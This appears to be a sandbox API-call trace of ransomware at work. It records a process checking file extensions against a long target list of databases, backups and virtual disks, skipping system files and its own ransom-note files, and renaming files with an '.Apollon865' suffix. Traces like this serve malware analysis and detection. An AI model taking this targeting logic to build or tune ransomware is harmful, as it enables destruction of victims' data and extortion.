	[0070.492] lstrlenW (lpString="db3") returned 3
	[0070.492] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0070.492] lstrlenW (lpString="dbf") returned 3
	[0070.492] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0070.492] lstrlenW (lpString="mdf") returned 3
	[0070.492] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0070.492] lstrlenW (lpString="mdb") returned 3
	[0070.492] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0070.492] lstrlenW (lpString="sql") returned 3
	[0070.492] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0070.492] lstrlenW (lpString="sqlite") returned 6
	[0070.492] lstrcmpiW (lpString1="th.dll", lpString2="sqlite") returned 1
	[0070.492] lstrlenW (lpString="sqlite3") returned 7
	[0070.492] lstrcmpiW (lpString1="ath.dll", lpString2="sqlite3") returned -1
	[0070.492] lstrlenW (lpString="sqlitedb") returned 8
	[0070.492] lstrcmpiW (lpString1="path.dll", lpString2="sqlitedb") returned -1
	[0070.492] lstrlenW (lpString="xml") returned 3
	[0070.492] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0070.492] lstrlenW (lpString="$er") returned 3
	[0070.492] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0070.492] lstrlenW (lpString="4dd") returned 3
	[0070.493] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0070.493] lstrlenW (lpString="4dl") returned 3
	[0070.493] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0070.493] lstrlenW (lpString="^^^") returned 3
	[0070.493] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0070.493] lstrlenW (lpString="abs") returned 3
	[0070.493] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0070.493] lstrlenW (lpString="abx") returned 3
	[0070.493] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0070.493] lstrlenW (lpString="accdb") returned 5
	[0070.493] lstrcmpiW (lpString1="h.dll", lpString2="accdb") returned 1
	[0070.493] lstrlenW (lpString="accdc") returned 5
	[0070.493] lstrcmpiW (lpString1="h.dll", lpString2="accdc") returned 1
	[0070.493] lstrlenW (lpString="accde") returned 5
	[0070.493] lstrcmpiW (lpString1="h.dll", lpString2="accde") returned 1
	[0070.493] lstrlenW (lpString="accdr") returned 5
	[0070.493] lstrcmpiW (lpString1="h.dll", lpString2="accdr") returned 1
	[0070.493] lstrlenW (lpString="accdt") returned 5
	[0070.493] lstrcmpiW (lpString1="h.dll", lpString2="accdt") returned 1
	[0070.493] lstrlenW (lpString="accdw") returned 5
	[0070.493] lstrcmpiW (lpString1="h.dll", lpString2="accdw") returned 1
	[0070.493] lstrlenW (lpString="accft") returned 5
	[0070.493] lstrcmpiW (lpString1="h.dll", lpString2="accft") returned 1
	[0070.493] lstrlenW (lpString="adb") returned 3
	[0070.493] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0070.493] lstrlenW (lpString="adb") returned 3
	[0070.493] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0070.493] lstrlenW (lpString="ade") returned 3
	[0070.493] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0070.493] lstrlenW (lpString="adf") returned 3
	[0070.493] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0070.493] lstrlenW (lpString="adn") returned 3
	[0070.493] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0070.493] lstrlenW (lpString="adp") returned 3
	[0070.493] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0070.494] lstrlenW (lpString="alf") returned 3
	[0070.494] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0070.494] lstrlenW (lpString="ask") returned 3
	[0070.494] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0070.494] lstrlenW (lpString="btr") returned 3
	[0070.494] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0070.494] lstrlenW (lpString="cat") returned 3
	[0070.494] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0070.494] lstrlenW (lpString="cdb") returned 3
	[0070.494] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0070.494] lstrlenW (lpString="ckp") returned 3
	[0070.494] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0070.494] lstrlenW (lpString="cma") returned 3
	[0070.494] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0070.494] lstrlenW (lpString="cpd") returned 3
	[0070.494] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0070.494] lstrlenW (lpString="dacpac") returned 6
	[0070.494] lstrcmpiW (lpString1="th.dll", lpString2="dacpac") returned 1
	[0070.494] lstrlenW (lpString="dad") returned 3
	[0070.494] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0070.494] lstrlenW (lpString="dadiagrams") returned 10
	[0070.494] lstrcmpiW (lpString1="fopath.dll", lpString2="dadiagrams") returned 1
	[0070.494] lstrlenW (lpString="daschema") returned 8
	[0070.494] lstrcmpiW (lpString1="path.dll", lpString2="daschema") returned 1
	[0070.494] lstrlenW (lpString="db-journal") returned 10
	[0070.494] lstrcmpiW (lpString1="fopath.dll", lpString2="db-journal") returned 1
	[0070.494] lstrlenW (lpString="db-shm") returned 6
	[0070.494] lstrcmpiW (lpString1="th.dll", lpString2="db-shm") returned 1
	[0070.494] lstrlenW (lpString="db-wal") returned 6
	[0070.494] lstrcmpiW (lpString1="th.dll", lpString2="db-wal") returned 1
	[0070.494] lstrlenW (lpString="dbc") returned 3
	[0070.494] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0070.494] lstrlenW (lpString="dbs") returned 3
	[0070.494] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0070.494] lstrlenW (lpString="dbt") returned 3
	[0070.494] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0070.494] lstrlenW (lpString="dbv") returned 3
	[0070.494] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0070.495] lstrlenW (lpString="dbx") returned 3
	[0070.495] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0070.495] lstrlenW (lpString="dcb") returned 3
	[0070.495] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0070.495] lstrlenW (lpString="dct") returned 3
	[0070.495] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0070.495] lstrlenW (lpString="dcx") returned 3
	[0070.495] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0070.495] lstrlenW (lpString="ddl") returned 3
	[0070.495] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0070.495] lstrlenW (lpString="dlis") returned 4
	[0070.495] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1
	[0070.495] lstrlenW (lpString="dp1") returned 3
	[0070.495] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0070.495] lstrlenW (lpString="dqy") returned 3
	[0070.495] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0070.495] lstrlenW (lpString="dsk") returned 3
	[0070.495] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0070.495] lstrlenW (lpString="dsn") returned 3
	[0070.495] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0070.495] lstrlenW (lpString="dtsx") returned 4
	[0070.495] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1
	[0070.495] lstrlenW (lpString="dxl") returned 3
	[0070.495] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0070.495] lstrlenW (lpString="eco") returned 3
	[0070.495] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0070.495] lstrlenW (lpString="ecx") returned 3
	[0070.495] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0070.495] lstrlenW (lpString="edb") returned 3
	[0070.495] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0070.495] lstrlenW (lpString="epim") returned 4
	[0070.495] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1
	[0070.495] lstrlenW (lpString="fcd") returned 3
	[0070.495] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0070.495] lstrlenW (lpString="fdb") returned 3
	[0070.495] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0070.495] lstrlenW (lpString="fic") returned 3
	[0070.496] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0070.496] lstrlenW (lpString="flexolibrary") returned 12
	[0070.496] lstrcmpiW (lpString1="Infopath.dll", lpString2="flexolibrary") returned 1
	[0070.496] lstrlenW (lpString="fm5") returned 3
	[0070.496] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0070.496] lstrlenW (lpString="fmp") returned 3
	[0070.496] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0070.496] lstrlenW (lpString="fmp12") returned 5
	[0070.496] lstrcmpiW (lpString1="h.dll", lpString2="fmp12") returned 1
	[0070.496] lstrlenW (lpString="fmpsl") returned 5
	[0070.496] lstrcmpiW (lpString1="h.dll", lpString2="fmpsl") returned 1
	[0070.496] lstrlenW (lpString="fol") returned 3
	[0070.496] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0070.496] lstrlenW (lpString="fp3") returned 3
	[0070.496] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0070.496] lstrlenW (lpString="fp4") returned 3
	[0070.496] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0070.496] lstrlenW (lpString="fp5") returned 3
	[0070.496] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0070.496] lstrlenW (lpString="fp7") returned 3
	[0070.496] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0070.496] lstrlenW (lpString="fpt") returned 3
	[0070.496] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0070.496] lstrlenW (lpString="frm") returned 3
	[0070.496] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0070.496] lstrlenW (lpString="gdb") returned 3
	[0070.496] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0070.496] lstrlenW (lpString="gdb") returned 3
	[0070.496] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0070.496] lstrlenW (lpString="grdb") returned 4
	[0070.496] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1
	[0070.496] lstrlenW (lpString="gwi") returned 3
	[0070.496] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0070.496] lstrlenW (lpString="hdb") returned 3
	[0070.496] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0070.496] lstrlenW (lpString="his") returned 3
	[0070.496] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0070.497] lstrlenW (lpString="ib") returned 2
	[0070.497] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0070.497] lstrlenW (lpString="idb") returned 3
	[0070.497] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0070.497] lstrlenW (lpString="ihx") returned 3
	[0070.497] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0070.497] lstrlenW (lpString="itdb") returned 4
	[0070.497] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1
	[0070.497] lstrlenW (lpString="itw") returned 3
	[0070.497] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0070.497] lstrlenW (lpString="jet") returned 3
	[0070.497] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0070.497] lstrlenW (lpString="jtx") returned 3
	[0070.497] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0070.497] lstrlenW (lpString="kdb") returned 3
	[0070.497] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0070.497] lstrlenW (lpString="kexi") returned 4
	[0070.497] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1
	[0070.497] lstrlenW (lpString="kexic") returned 5
	[0070.497] lstrcmpiW (lpString1="h.dll", lpString2="kexic") returned -1
	[0070.497] lstrlenW (lpString="kexis") returned 5
	[0070.497] lstrcmpiW (lpString1="h.dll", lpString2="kexis") returned -1
	[0070.497] lstrlenW (lpString="lgc") returned 3
	[0070.497] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0070.497] lstrlenW (lpString="lwx") returned 3
	[0070.497] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0070.497] lstrlenW (lpString="maf") returned 3
	[0070.497] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0070.497] lstrlenW (lpString="maq") returned 3
	[0070.497] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0070.497] lstrlenW (lpString="mar") returned 3
	[0070.497] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0070.498] lstrlenW (lpString="marshal") returned 7
	[0070.498] lstrcmpiW (lpString1="ath.dll", lpString2="marshal") returned -1
	[0070.498] lstrlenW (lpString="mas") returned 3
	[0070.498] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0070.498] lstrlenW (lpString="mav") returned 3
	[0070.498] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0070.498] lstrlenW (lpString="maw") returned 3
	[0070.498] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0070.498] lstrlenW (lpString="mdbhtml") returned 7
	[0070.498] lstrcmpiW (lpString1="ath.dll", lpString2="mdbhtml") returned -1
	[0070.498] lstrlenW (lpString="mdn") returned 3
	[0070.498] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0070.498] lstrlenW (lpString="mdt") returned 3
	[0070.498] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0070.498] lstrlenW (lpString="mfd") returned 3
	[0070.498] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0070.498] lstrlenW (lpString="mpd") returned 3
	[0070.498] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0070.498] lstrlenW (lpString="mrg") returned 3
	[0070.498] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0070.498] lstrlenW (lpString="mud") returned 3
	[0070.498] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0070.498] lstrlenW (lpString="mwb") returned 3
	[0070.498] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0070.498] lstrlenW (lpString="myd") returned 3
	[0070.498] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0070.498] lstrlenW (lpString="ndf") returned 3
	[0070.498] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0070.498] lstrlenW (lpString="nnt") returned 3
	[0070.498] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0070.498] lstrlenW (lpString="nrmlib") returned 6
	[0070.498] lstrcmpiW (lpString1="th.dll", lpString2="nrmlib") returned 1
	[0070.498] lstrlenW (lpString="ns2") returned 3
	[0070.498] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0070.498] lstrlenW (lpString="ns3") returned 3
	[0070.498] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0070.498] lstrlenW (lpString="ns4") returned 3
	[0070.498] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0070.499] lstrlenW (lpString="nsf") returned 3
	[0070.499] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0070.499] lstrlenW (lpString="nv") returned 2
	[0070.499] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0070.499] lstrlenW (lpString="nv2") returned 3
	[0070.499] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0070.499] lstrlenW (lpString="nwdb") returned 4
	[0070.499] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1
	[0070.499] lstrlenW (lpString="nyf") returned 3
	[0070.499] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0070.499] lstrlenW (lpString="odb") returned 3
	[0070.499] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0070.499] lstrlenW (lpString="odb") returned 3
	[0070.499] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0070.499] lstrlenW (lpString="oqy") returned 3
	[0070.499] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0070.499] lstrlenW (lpString="ora") returned 3
	[0070.499] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0070.499] lstrlenW (lpString="orx") returned 3
	[0070.499] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0070.499] lstrlenW (lpString="owc") returned 3
	[0070.499] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0070.499] lstrlenW (lpString="p96") returned 3
	[0070.499] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0070.499] lstrlenW (lpString="p97") returned 3
	[0070.499] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0070.499] lstrlenW (lpString="pan") returned 3
	[0070.499] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0070.499] lstrlenW (lpString="pdb") returned 3
	[0070.499] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0070.499] lstrlenW (lpString="pdm") returned 3
	[0070.499] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0070.499] lstrlenW (lpString="pnz") returned 3
	[0070.499] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0070.499] lstrlenW (lpString="qry") returned 3
	[0070.499] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0070.499] lstrlenW (lpString="qvd") returned 3
	[0070.499] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0070.500] lstrlenW (lpString="rbf") returned 3
	[0070.500] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0070.500] lstrlenW (lpString="rctd") returned 4
	[0070.500] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1
	[0070.500] lstrlenW (lpString="rod") returned 3
	[0070.500] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0070.500] lstrlenW (lpString="rodx") returned 4
	[0070.500] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1
	[0070.500] lstrlenW (lpString="rpd") returned 3
	[0070.500] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0070.500] lstrlenW (lpString="rsd") returned 3
	[0070.500] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0070.500] lstrlenW (lpString="sas7bdat") returned 8
	[0070.500] lstrcmpiW (lpString1="path.dll", lpString2="sas7bdat") returned -1
	[0070.500] lstrlenW (lpString="sbf") returned 3
	[0070.500] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0070.500] lstrlenW (lpString="scx") returned 3
	[0070.500] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0070.500] lstrlenW (lpString="sdb") returned 3
	[0070.500] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0070.500] lstrlenW (lpString="sdc") returned 3
	[0070.500] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0070.500] lstrlenW (lpString="sdf") returned 3
	[0070.500] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0070.500] lstrlenW (lpString="sis") returned 3
	[0070.500] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0070.500] lstrlenW (lpString="spq") returned 3
	[0070.500] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0070.500] lstrlenW (lpString="te") returned 2
	[0070.500] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0070.500] lstrlenW (lpString="teacher") returned 7
	[0070.500] lstrcmpiW (lpString1="ath.dll", lpString2="teacher") returned -1
	[0070.500] lstrlenW (lpString="tmd") returned 3
	[0070.500] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0070.500] lstrlenW (lpString="tps") returned 3
	[0070.500] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0070.500] lstrlenW (lpString="trc") returned 3
	[0070.500] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0070.501] lstrlenW (lpString="trc") returned 3
	[0070.501] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0070.501] lstrlenW (lpString="trm") returned 3
	[0070.501] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0070.501] lstrlenW (lpString="udb") returned 3
	[0070.501] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0070.501] lstrlenW (lpString="udl") returned 3
	[0070.501] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0070.501] lstrlenW (lpString="usr") returned 3
	[0070.501] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0070.501] lstrlenW (lpString="v12") returned 3
	[0070.501] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0070.501] lstrlenW (lpString="vis") returned 3
	[0070.501] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0070.501] lstrlenW (lpString="vpd") returned 3
	[0070.501] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0070.501] lstrlenW (lpString="vvv") returned 3
	[0070.501] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0070.501] lstrlenW (lpString="wdb") returned 3
	[0070.501] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0070.501] lstrlenW (lpString="wmdb") returned 4
	[0070.501] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1
	[0070.501] lstrlenW (lpString="wrk") returned 3
	[0070.501] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0070.501] lstrlenW (lpString="xdb") returned 3
	[0070.501] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0070.501] lstrlenW (lpString="xld") returned 3
	[0070.501] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0070.501] lstrlenW (lpString="xmlff") returned 5
	[0070.501] lstrcmpiW (lpString1="h.dll", lpString2="xmlff") returned -1
	[0070.501] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x65c9fd10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 1
	[0070.501] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.501] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="Apollon865.txt.exe") returned 1
	[0070.501] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2=".") returned 1
	[0070.501] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="..") returned 1
	[0070.501] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="windows") returned -1
	[0070.501] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="bootmgr") returned 1
	[0070.502] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="temp") returned -1
	[0070.502] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="pagefile.sys") returned -1
	[0070.502] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="boot") returned 1
	[0070.502] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="ids.txt") returned 1
	[0070.502] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="ntuser.dat") returned -1
	[0070.502] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="perflogs") returned -1
	[0070.502] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2="MSBuild") returned -1
	[0070.502] lstrlenW (lpString="Microsoft.Office.InfoPath.xml") returned 29
	[0070.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\Microsoft.Office.Infopath.dll") returned 132
	[0070.502] lstrcpyW (in: lpString1=0x2d3e61e, lpString2="Microsoft.Office.InfoPath.xml" | out: lpString1="Microsoft.Office.InfoPath.xml") returned="Microsoft.Office.InfoPath.xml"
	[0070.502] lstrlenW (lpString="Microsoft.Office.InfoPath.xml") returned 29
	[0070.502] lstrlenW (lpString="Apollon865") returned 10
	[0070.502] lstrcmpiW (lpString1="foPath.xml", lpString2="Apollon865") returned 1
	[0070.502] lstrlenW (lpString=".dll") returned 4
	[0070.502] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2=".dll") returned 1
	[0070.502] lstrlenW (lpString=".lnk") returned 4
	[0070.502] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2=".lnk") returned 1
	[0070.502] lstrlenW (lpString=".ini") returned 4
	[0070.502] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2=".ini") returned 1
	[0070.502] lstrlenW (lpString=".sys") returned 4
	[0070.502] lstrcmpiW (lpString1="Microsoft.Office.InfoPath.xml", lpString2=".sys") returned 1
	[0070.502] lstrlenW (lpString="Microsoft.Office.InfoPath.xml") returned 29
	[0070.502] lstrlenW (lpString="bak") returned 3
	[0070.502] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0070.502] lstrlenW (lpString="ba_") returned 3
	[0070.502] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0070.502] lstrlenW (lpString="dbb") returned 3
	[0070.502] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0070.502] lstrlenW (lpString="vmdk") returned 4
	[0070.502] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0070.502] lstrlenW (lpString="rar") returned 3
	[0070.502] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0070.502] lstrlenW (lpString="zip") returned 3
	[0070.502] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0070.502] lstrlenW (lpString="tgz") returned 3
	[0070.502] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0070.502] lstrlenW (lpString="vbox") returned 4
	[0070.503] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0070.503] lstrlenW (lpString="vdi") returned 3
	[0070.503] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0070.503] lstrlenW (lpString="vhd") returned 3
	[0070.503] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0070.503] lstrlenW (lpString="vhdx") returned 4
	[0070.503] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0070.503] lstrlenW (lpString="avhd") returned 4
	[0070.503] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0070.503] lstrlenW (lpString="db") returned 2
	[0070.503] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0070.503] lstrlenW (lpString="db2") returned 3
	[0070.503] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0070.503] lstrlenW (lpString="db3") returned 3
	[0070.503] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0070.503] lstrlenW (lpString="dbf") returned 3
	[0070.503] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0070.503] lstrlenW (lpString="mdf") returned 3
	[0070.503] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0070.503] lstrlenW (lpString="mdb") returned 3
	[0070.503] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0070.503] lstrlenW (lpString="sql") returned 3
	[0070.503] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0070.503] lstrlenW (lpString="sqlite") returned 6
	[0070.503] lstrcmpiW (lpString1="th.xml", lpString2="sqlite") returned 1
	[0070.503] lstrlenW (lpString="sqlite3") returned 7
	[0070.503] lstrcmpiW (lpString1="ath.xml", lpString2="sqlite3") returned -1
	[0070.503] lstrlenW (lpString="sqlitedb") returned 8
	[0070.503] lstrcmpiW (lpString1="Path.xml", lpString2="sqlitedb") returned -1
	[0070.503] lstrlenW (lpString="xml") returned 3
	[0070.503] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0070.503] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\Microsoft.Office.InfoPath.xml.Apollon865") returned 143
	[0070.503] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\infopathomformservicesv12\\microsoft.office.infopath.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\Microsoft.Office.InfoPath.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\infopathomformservicesv12\\microsoft.office.infopath.xml.apollon865"), dwFlags=0x1) returned 1
